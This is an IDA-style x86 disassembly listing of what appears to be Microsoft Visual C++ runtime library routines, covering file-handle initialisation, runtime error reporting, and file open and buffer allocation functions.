nop
call near ptr 2620EB1h
mov eax, ebx
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232A8: ; CODE XREF: ___:00423221j
cmp eax, 2
jnz short loc_4232F9
loc_4232AD: ; CODE XREF: ___:00423219j
cmp edi, ebx
jnz short loc_4232BD
call near ptr 2620C2Ah
nop
mov edi, eax
cmp edi, ebx
jz short loc_4232F9
loc_4232BD: ; CODE XREF: ___:004232AFj
cmp [edi], bl
mov eax, edi
jz short loc_4232CD
loc_4232C3: ; CODE XREF: ___:004232C6j
; ___:004232CBj
inc eax
cmp [eax], bl
jnz short loc_4232C3
inc eax
cmp [eax], bl
jnz short loc_4232C3
loc_4232CD: ; CODE XREF: ___:004232C1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4232E3
xor esi, esi
jmp short loc_4232EE
; ---------------------------------------------------------------------------
loc_4232E3: ; CODE XREF: ___:004232DDj
push ebp
push edi
push esi
call sub_41C310
add esp, 0Ch
loc_4232EE: ; CODE XREF: ___:004232E1j
push edi
call near ptr 2630000h
nop
mov eax, esi
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232F9: ; CODE XREF: ___:00423209j
; ___:00423231j ...
xor eax, eax
loc_4232FB: ; CODE XREF: ___:004232A6j
; ___:004232F7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423322
push 1Bh
call sub_41DA29
pop ecx
loc_423322: ; CODE XREF: ___:00423318j
mov dword_4DC5C0, esi
mov dword_4DC6C0, 20h
lea eax, [esi+100h]
loc_423338: ; CODE XREF: ___:00423354j
cmp esi, eax
jnb short loc_423356
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DC5C0
add esi, 8
add eax, 100h
jmp short loc_423338
; ---------------------------------------------------------------------------
loc_423356: ; CODE XREF: ___:0042333Aj
lea eax, [esp+10h]
push eax
nop
call near ptr 2880000h
cmp word ptr [esp+42h], 0
jz loc_423432
mov eax, [esp+44h]
test eax, eax
jz loc_423432
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_42338C
mov esi, eax
loc_42338C: ; CODE XREF: ___:00423388j
cmp dword_4DC6C0, esi
jge short loc_4233E6
mov edi, offset dword_4DC5C4
loc_423399: ; CODE XREF: ___:004233DCj
push 100h
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4233E0
add dword_4DC6C0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4233B7: ; CODE XREF: ___:004233D1j
cmp eax, ecx
jnb short loc_4233D3
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4233B7
; ---------------------------------------------------------------------------
loc_4233D3: ; CODE XREF: ___:004233B9j
add edi, 4
cmp dword_4DC6C0, esi
jl short loc_423399
jmp short loc_4233E6
; ---------------------------------------------------------------------------
loc_4233E0: ; CODE XREF: ___:004233A6j
mov esi, dword_4DC6C0
loc_4233E6: ; CODE XREF: ___:00423392j
; ___:004233DEj
xor edi, edi
test esi, esi
jle short loc_423432
loc_4233EC: ; CODE XREF: ___:00423430j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423429
mov cl, [ebp+0]
test cl, 1
jz short loc_423429
test cl, 8
jnz short loc_42340B
push eax
nop
call near ptr 2620238h
test eax, eax
jz short loc_423429
loc_42340B: ; CODE XREF: ___:004233FEj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423429: ; CODE XREF: ___:004233F1j
; ___:004233F9j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4233EC
loc_423432: ; CODE XREF: ___:00423367j
; ___:00423373j ...
xor ebx, ebx
loc_423434: ; CODE XREF: ___:00423497j
mov eax, dword_4DC5C0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_42348F
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_42344F
push 0FFFFFFF6h
pop eax
jmp short loc_423459
; ---------------------------------------------------------------------------
loc_42344F: ; CODE XREF: ___:00423448j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423459: ; CODE XREF: ___:0042344Dj
push eax
nop
call near ptr 26209D9h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_42347E
push edi
nop
call near ptr 2620238h
test eax, eax
jz short loc_42347E
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423484
loc_42347E: ; CODE XREF: ___:00423465j
; ___:00423470j
or byte ptr [esi+4], 40h
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_423484: ; CODE XREF: ___:0042347Cj
cmp eax, 3
jnz short loc_423493
or byte ptr [esi+4], 8
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_42348F: ; CODE XREF: ___:00423440j
or byte ptr [esi+4], 80h
loc_423493: ; CODE XREF: ___:00423482j
; ___:00423487j ...
inc ebx
cmp ebx, 3
jl short loc_423434
push dword_4DC6C0
nop
call near ptr 2620B77h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao
; sub_42218C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423558
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4234EB: ; CODE XREF: sub_4234B8+90j
cmp esi, 0FFFFFFFFh
jz short loc_423551
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42353F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42353F
js short loc_42354A
mov edi, [ebx+8]
push ebx
call sub_41CB74
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41CBB6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41CC4A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42353F: ; CODE XREF: sub_4234B8+40j
; sub_4234B8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4234EB
; ---------------------------------------------------------------------------
loc_42354A: ; CODE XREF: sub_4234B8+54j
mov eax, 0
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423551: ; CODE XREF: sub_4234B8+36j
mov eax, 1
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423558: ; CODE XREF: sub_4234B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41CBB6
add esp, 8
pop ebp
mov eax, 1
loc_42356D: ; CODE XREF: sub_4234B8+97j
; sub_4234B8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4234B8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41CBB6
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423590 proc near ; CODE XREF: sub_41DA29+9p
mov eax, dword_4DB2F0
cmp eax, 1
jz short loc_4235A7
test eax, eax
jnz short locret_4235C8
cmp dword_43A2C4, 1
jnz short locret_4235C8
loc_4235A7: ; CODE XREF: sub_423590+8j
push 0FCh
call sub_4235C9
mov eax, dword_4DB45C
pop ecx
test eax, eax
jz short loc_4235BD
call eax
loc_4235BD: ; CODE XREF: sub_423590+29j
push 0FFh
call sub_4235C9
pop ecx
locret_4235C8: ; CODE XREF: sub_423590+Cj
; sub_423590+15j
retn
sub_423590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p
; sub_423590+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43C958
loc_4235DC: ; CODE XREF: sub_4235C9+20j
cmp edx, [eax]
jz short loc_4235EB
add eax, 8
inc ecx
cmp eax, offset off_43C9E8
jl short loc_4235DC
loc_4235EB: ; CODE XREF: sub_4235C9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43C958[esi]
jnz loc_423719
mov eax, dword_4DB2F0
cmp eax, 1
jz loc_4236F3
test eax, eax
jnz short loc_42361C
cmp dword_43A2C4, 1
jz loc_4236F3
loc_42361C: ; CODE XREF: sub_4235C9+44j
cmp edx, 0FCh
jz loc_423719
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 266039Ah
test eax, eax
jnz short loc_423653
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_423653: ; CODE XREF: sub_4235C9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41AFE0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423696
lea eax, [ebp+var_1A4]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41B5F0
add esp, 10h
loc_423696: ; CODE XREF: sub_4235C9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41BEB0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41BEC0
lea eax, [ebp+var_A0]
push offset asc_427C10 ; "\n\n"
push eax
call sub_41BEC0
push off_43C95C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41BEC0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_424D78
add esp, 2Ch
pop edi
jmp short loc_423719
; ---------------------------------------------------------------------------
loc_4236F3: ; CODE XREF: sub_4235C9+3Cj
; sub_4235C9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43C95C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41AFE0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 26209D9h
nop
push eax
nop
call near ptr 26E0000h
loc_423719: ; CODE XREF: sub_4235C9+2Ej
; sub_4235C9+59j ...
pop esi
leave
retn
sub_4235C9 endp
; =============== S U B R O U T I N E =======================================
sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DC5C0
loc_42372B: ; CODE XREF: sub_42371C+48j
mov eax, [ecx]
test eax, eax
jz short loc_423768
lea edx, [eax+100h]
loc_423737: ; CODE XREF: sub_42371C+28j
cmp eax, edx
jnb short loc_423757
test byte ptr [eax+4], 1
jz short loc_423746
add eax, 8
jmp short loc_423737
; ---------------------------------------------------------------------------
loc_423746: ; CODE XREF: sub_42371C+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4237AB
loc_423757: ; CODE XREF: sub_42371C+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DC6C0
jl short loc_42372B
jmp short loc_4237AB
; ---------------------------------------------------------------------------
loc_423768: ; CODE XREF: sub_42371C+13j
mov esi, 100h
push esi
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4237AB
add dword_4DC6C0, 20h
lea ecx, ds:4DC5C0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_42378E: ; CODE XREF: sub_42371C+88j
cmp eax, edx
jnb short loc_4237A6
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_42378E
; ---------------------------------------------------------------------------
loc_4237A6: ; CODE XREF: sub_42371C+74j
shl edi, 5
mov ebx, edi
loc_4237AB: ; CODE XREF: sub_42371C+39j
; sub_42371C+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42371C endp
; =============== S U B R O U T I N E =======================================
sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DC6C0
push edi
jnb short loc_423811
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423811
cmp dword_43A2C4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423807
sub eax, 0
jz short loc_4237FE
dec eax
jz short loc_4237F9
dec eax
jnz short loc_423807
push ebx
push 0FFFFFFF4h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237F9: ; CODE XREF: sub_4237B1+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237FE: ; CODE XREF: sub_4237B1+3Bj
push ebx
push 0FFFFFFF6h
loc_423801: ; CODE XREF: sub_4237B1+46j
; sub_4237B1+4Bj
nop
call near ptr 2620000h
loc_423807: ; CODE XREF: sub_4237B1+36j
; sub_4237B1+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423825
; ---------------------------------------------------------------------------
loc_423811: ; CODE XREF: sub_4237B1+Cj
; sub_4237B1+28j
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
loc_423825: ; CODE XREF: sub_4237B1+5Ej
pop edi
pop esi
retn
sub_4237B1 endp
; =============== S U B R O U T I N E =======================================
sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DC6C0
push edi
jnb short loc_42388B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_42388B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42388B
cmp dword_43A2C4, 1
jnz short loc_423881
xor eax, eax
sub ecx, eax
jz short loc_423878
dec ecx
jz short loc_423873
dec ecx
jnz short loc_423881
push eax
push 0FFFFFFF4h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423873: ; CODE XREF: sub_423828+41j
push eax
push 0FFFFFFF5h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423878: ; CODE XREF: sub_423828+3Ej
push eax
push 0FFFFFFF6h
loc_42387B: ; CODE XREF: sub_423828+49j
; sub_423828+4Ej
nop
call near ptr 2620000h
loc_423881: ; CODE XREF: sub_423828+38j
; sub_423828+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_42389F
; ---------------------------------------------------------------------------
loc_42388B: ; CODE XREF: sub_423828+Cj
; sub_423828+2Aj ...
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
loc_42389F: ; CODE XREF: sub_423828+61j
pop edi
pop esi
retn
sub_423828 endp
; =============== S U B R O U T I N E =======================================
sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p
; sub_41DA72+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jnb short loc_4238CA
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4238CA
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4238CA: ; CODE XREF: sub_4238A2+Aj
; sub_4238A2+23j
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
retn
sub_4238A2 endp
; =============== S U B R O U T I N E =======================================
sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jnb short loc_423928
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DC5C0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423928
push eax
call sub_4238A2
pop ecx
push eax
nop
call near ptr 26107F9h
test eax, eax
jnz short loc_42391D
nop
call near ptr 2670D70h
jmp short loc_42391F
; ---------------------------------------------------------------------------
loc_42391D: ; CODE XREF: sub_4238DF+34j
xor eax, eax
loc_42391F: ; CODE XREF: sub_4238DF+3Cj
test eax, eax
jz short locret_423935
mov dword_4DB27C, eax
loc_423928: ; CODE XREF: sub_4238DF+Aj
; sub_4238DF+22j
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
locret_423935: ; CODE XREF: sub_4238DF+42j
retn
sub_4238DF endp
; =============== S U B R O U T I N E =======================================
sub_423936 proc near ; DATA XREF: ___:00429024o
mov eax, dword_4DC5A0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42394A
mov eax, 200h
jmp short loc_423950
; ---------------------------------------------------------------------------
loc_42394A: ; CODE XREF: sub_423936+Bj
cmp eax, esi
jge short loc_423955
mov eax, esi
loc_423950: ; CODE XREF: sub_423936+12j
mov dword_4DC5A0, eax
loc_423955: ; CODE XREF: sub_423936+16j
push 4
push eax
call sub_424E01
pop ecx
mov dword_4DB598, eax
test eax, eax
pop ecx
jnz short loc_423989
push 4
push esi
mov dword_4DC5A0, esi
call sub_424E01
pop ecx
mov dword_4DB598, eax
test eax, eax
pop ecx
jnz short loc_423989
push 1Ah
call sub_41DA29
pop ecx
loc_423989: ; CODE XREF: sub_423936+30j
; sub_423936+49j
xor ecx, ecx
mov eax, offset off_43C9E8
loc_423990: ; CODE XREF: sub_423936+6Ej
mov edx, dword_4DB598
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43CC68
jl short loc_423990
xor edx, edx
mov ecx, offset dword_43C9F8
loc_4239AD: ; CODE XREF: sub_423936+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DC5C0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4239CA
test eax, eax
jnz short loc_4239CD
loc_4239CA: ; CODE XREF: sub_423936+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4239CD: ; CODE XREF: sub_423936+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43CA58
jl short loc_4239AD
pop esi
retn
sub_423936 endp
; =============== S U B R O U T I N E =======================================
sub_4239DB proc near ; DATA XREF: ___:00429034o
; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES
call sub_41DBE7
cmp byte_4DB2B8, 0
jz short locret_4239EE
jmp loc_424EB2
; ---------------------------------------------------------------------------
locret_4239EE: ; CODE XREF: sub_4239DB+Cj
retn
sub_4239DB endp
; =============== S U B R O U T I N E =======================================
sub_4239EF proc near ; CODE XREF: sub_41F043+32p
; sub_41F58A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DB460
push 1000h
call sub_41B4D5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423A18
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423A29
; ---------------------------------------------------------------------------
loc_423A18: ; CODE XREF: sub_4239EF+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423A29: ; CODE XREF: sub_4239EF+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4239EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423A59
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_423A64
; ---------------------------------------------------------------------------
loc_423A59: ; CODE XREF: sub_423A33+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_423A64: ; CODE XREF: sub_423A33+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423A7E
test ch, 40h
jnz short loc_423A7A
cmp dword_4DB570, eax
jz short loc_423A7E
loc_423A7A: ; CODE XREF: sub_423A33+3Dj
or [ebp+var_1], 80h
loc_423A7E: ; CODE XREF: sub_423A33+38j
; sub_423A33+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423AB6
dec eax
jz short loc_423AAD
dec eax
jz short loc_423AA4
loc_423A8F: ; CODE XREF: sub_423A33+9Fj
; sub_423A33+E8j ...
mov dword_4DB278, 16h
mov dword_4DB27C, ebx
jmp loc_423CC9
; ---------------------------------------------------------------------------
loc_423AA4: ; CODE XREF: sub_423A33+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AAD: ; CODE XREF: sub_423A33+57j
mov [ebp+var_C], 40000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AB6: ; CODE XREF: sub_423A33+54j
mov [ebp+var_C], 80000000h
loc_423ABD: ; CODE XREF: sub_423A33+78j
; sub_423A33+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_423AEB
cmp eax, 20h
jz short loc_423AE2
cmp eax, 30h
jz short loc_423AD9
cmp eax, 40h
jnz short loc_423A8F
mov [ebp+var_10], esi
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AD9: ; CODE XREF: sub_423A33+9Aj
mov [ebp+var_10], 2
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AE2: ; CODE XREF: sub_423A33+95j
mov [ebp+var_10], 1
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AEB: ; CODE XREF: sub_423A33+90j
mov [ebp+var_10], ebx
loc_423AEE: ; CODE XREF: sub_423A33+A4j
; sub_423A33+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423B38
jz short loc_423B33
cmp ecx, ebx
jz short loc_423B33
cmp ecx, edi
jz short loc_423B2A
cmp ecx, 200h
jz short loc_423B51
cmp ecx, 300h
jnz loc_423A8F
mov [ebp+var_8], 2
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B2A: ; CODE XREF: sub_423A33+D8j
mov [ebp+var_8], 4
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B33: ; CODE XREF: sub_423A33+D0j
; sub_423A33+D4j
mov [ebp+var_8], esi
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B38: ; CODE XREF: sub_423A33+CEj
cmp ecx, 500h
jz short loc_423B5A
cmp ecx, 600h
jz short loc_423B51
cmp ecx, edx
jz short loc_423B5A
jmp loc_423A8F
; ---------------------------------------------------------------------------
loc_423B51: ; CODE XREF: sub_423A33+E0j
; sub_423A33+113j
mov [ebp+var_8], 5
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B5A: ; CODE XREF: sub_423A33+10Bj
; sub_423A33+117j
mov [ebp+var_8], 1
loc_423B61: ; CODE XREF: sub_423A33+F5j
; sub_423A33+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423B80
mov ecx, dword_4DB280
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423B80
push 1
pop esi
loc_423B80: ; CODE XREF: sub_423A33+138j
; sub_423A33+148j
test al, 40h
jz short loc_423B8E
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423B8E: ; CODE XREF: sub_423A33+14Fj
test ah, 10h
jz short loc_423B95
or esi, edi
loc_423B95: ; CODE XREF: sub_423A33+15Ej
test al, 20h
jz short loc_423BA1
or esi, 8000000h
jmp short loc_423BAB
; ---------------------------------------------------------------------------
loc_423BA1: ; CODE XREF: sub_423A33+164j
test al, 10h
jz short loc_423BAB
or esi, 10000000h
loc_423BAB: ; CODE XREF: sub_423A33+16Cj
; sub_423A33+170j
call sub_42371C
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423BCC
and dword_4DB27C, 0
mov dword_4DB278, 18h
jmp short loc_423C0A
; ---------------------------------------------------------------------------
loc_423BCC: ; CODE XREF: sub_423A33+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call near ptr 26F07E8h
nop
mov esi, eax
cmp esi, edi
jz short loc_423BFD
push esi
nop
call near ptr 2620238h
test eax, eax
jnz short loc_423C11
push esi
nop
call near ptr 265098Dh
loc_423BFD: ; CODE XREF: sub_423A33+1B6j
nop
call near ptr 2670D70h
push eax
call sub_4203DF
pop ecx
loc_423C0A: ; CODE XREF: sub_423A33+197j
mov eax, edi
jmp loc_423CE7
; ---------------------------------------------------------------------------
loc_423C11: ; CODE XREF: sub_423A33+1C1j
cmp eax, 2
jnz short loc_423C1C
or [ebp+var_1], 40h
jmp short loc_423C25
; ---------------------------------------------------------------------------
loc_423C1C: ; CODE XREF: sub_423A33+1E1j
cmp eax, 3
jnz short loc_423C25
or [ebp+var_1], 8
loc_423C25: ; CODE XREF: sub_423A33+1E7j
; sub_423A33+1ECj
push esi
push ebx
call sub_4237B1
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423CCE
test al, 80h
jz short loc_423CCE
test byte ptr [ebp+arg_4], 2
jz short loc_423CCE
push 2
push 0FFFFFFFFh
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423C83
cmp dword_4DB27C, 83h
jz short loc_423CCE
jmp short loc_423CC2
; ---------------------------------------------------------------------------
loc_423C83: ; CODE XREF: sub_423A33+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F11C
add esp, 0Ch
test eax, eax
jnz short loc_423CB0
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423CB0
push [ebp+var_10]
push ebx
call sub_424F0A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423CC2
loc_423CB0: ; CODE XREF: sub_423A33+265j
; sub_423A33+26Bj
push 0
push 0
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423CCE
loc_423CC2: ; CODE XREF: sub_423A33+24Ej
; sub_423A33+27Bj
push ebx
call sub_41DA72
pop ecx
loc_423CC9: ; CODE XREF: sub_423A33+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423CE7
; ---------------------------------------------------------------------------
loc_423CCE: ; CODE XREF: sub_423A33+221j
; sub_423A33+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423CE5
test byte ptr [ebp+arg_4], 8
jz short loc_423CE5
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423CE5: ; CODE XREF: sub_423A33+29Fj
; sub_423A33+2A5j
mov eax, ebx
loc_423CE7: ; CODE XREF: sub_423A33+1D9j
; sub_423A33+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep
; sub_4200E8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
